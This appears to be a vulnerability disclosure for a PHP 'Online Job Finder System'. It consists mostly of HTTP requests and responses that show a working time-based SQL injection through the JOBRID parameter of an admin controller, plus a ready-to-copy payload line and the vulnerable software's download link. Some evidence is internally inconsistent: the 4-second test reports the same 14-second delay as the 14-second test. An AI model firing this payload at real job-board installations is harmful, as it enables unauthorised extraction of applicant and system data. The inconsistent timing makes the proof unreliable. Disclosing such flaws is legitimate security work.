

SQL injection vulnerability exists in JOBRID parameter of /admin/applicants/controller.php file of Online Job Finder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 POST /eris/admin/applicants/controller.php?action=approve
2 HTTP/1.1
3 Content-Type: application/x-www-form-urlencoded
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/eris/admin/
6 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqus4
7 Content-Length: 151
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 Accept-Encoding: gzip,deflate,br
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
11 Host: 192.168.31.163
12 Connection: Keep-alive
13 APPLICANTID=2018013&JOBRID=
  0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&REMARKS=
  Ive%20seen%20your%20work%20and%20its%20really%20interesting&
  submit=
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:45:21 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 182
12
13 <script>
14   window.location='/eris/admin/index.php'
15 </script><script>
16   window.location='index.php?view=view&id=0'XOR(if(now())=
  sysdate(),sleep(4),0))XOR'Z'
17 </script>
```

553 bytes 14,009 millis

Sleep time is 14s:

Request

```
1 POST /eris/admin/applicants/controller.php?action=approve
2 HTTP/1.1
3 Content-Type: application/x-www-form-urlencoded
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/eris/admin/
6 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqus4
7 Content-Length: 152
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 Accept-Encoding: gzip,deflate,br
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
11 Host: 192.168.31.163
12 Connection: Keep-alive
13 APPLICANTID=2018013&JOBRID=
  0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z&REMARKS=
  Ive%20seen%20your%20work%20and%20its%20really%20interesting&
  submit=
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:45:53 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 183
12
13 <script>
14   window.location='/eris/admin/index.php'
15 </script><script>
16   window.location='index.php?view=view&id=0'XOR(if(now())=
  sysdate(),sleep(14),0))XOR'Z'
17 </script>
```

554 bytes 14,008 millis

Payload:JOBRID=0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/online-job-finder-system/>